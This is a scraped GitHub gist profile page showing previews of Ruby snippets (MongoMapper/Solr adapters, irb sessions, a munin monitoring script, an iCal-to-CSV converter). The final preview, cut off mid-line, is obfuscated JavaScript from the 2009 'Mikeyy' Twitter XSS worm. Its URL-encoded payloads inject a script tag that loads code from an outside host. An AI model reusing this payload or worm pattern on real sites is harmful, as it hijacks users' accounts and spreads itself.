Skip to content

Instantly share code, notes, and snippets.

View dacort's full-sized avatar
🤔
Thinking about some new idea...

Damon P. Cortesi dacort

🤔
Thinking about some new idea...
View GitHub Profile
module MongoAdapter
class InstanceAdapter < Sunspot::Adapters::InstanceAdapter
def id
@instance.id
end
end
class DataAccessor < Sunspot::Adapters::DataAccessor
def load(id)
@clazz.find(id)
# Hook our MongoMapper model into Solr
module MongoAdapter
class InstanceAdapter < Sunspot::Adapters::InstanceAdapter
def id
@instance.id
end
end
class DataAccessor < Sunspot::Adapters::DataAccessor
def load(id)
MongoMapper.connection = Mongo::Connection.new('localhost')
MongoMapper.database = 'solrtest'
class User
include MongoMapper::Document
has_many :lists
key :twit_id, Integer, :index => true, :unique => true
key :screen_name, String
key :name, String
key :location, String
require 'rubygems'
require 'mongo_mapper'
class User
include MongoMapper::Document
has_many :tweets
key :screen_name, String, :required => true
end
# Where u is a User object
irb(main):033:0> Tweet.all(:user => u)
=> []
irb(main):034:0> Tweet.all(:user_id => u.id)
=> []
irb(main):035:0> Tweet.all(:user_id => u._id)
=> [#<Tweet text:...]
1)
'Yajl load should be able to parse from a string' FAILED
expected {"a"=>1234}
got {"a"=>1234}
(compared using eql?)
/Users/dpc/Downloads/src/yajl-ruby/spec/global/global_spec.rb:34:
irb(main):001:0> require 'rubygems'
=> true
irb(main):002:0> require 'tweetstream'
=> true
irb(main):003:0> Yajl::VERSION
=> "0.6.4"
irb(main):004:0> json = StringIO.new("{\"id\": 5687389800}")
=> #<StringIO:0x1155c9c>
irb(main):005:0> parser = Yajl::Parser.new
=> #<Yajl::Parser:0x1152e70>
@dacort
dacort / munin_starling
Created November 7, 2009 20:12
A munin script to monitor starling queues via starling_top
#!/usr/bin/env ruby
#
# A munin script to monitor starling queues via starling_top
# Damon P. Cortesi (@dacort)
def output_config(queue_items)
puts <<-END
graph_category App
graph_title starling queues
graph_vlabel count
require 'icalendear'
require 'csv'
cal_file = File.open("iCal_export.ics")
outfile = File.open('hours.csv', 'wb')
# Initialize
sum = 0
week = 1
prev_week = nil
var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72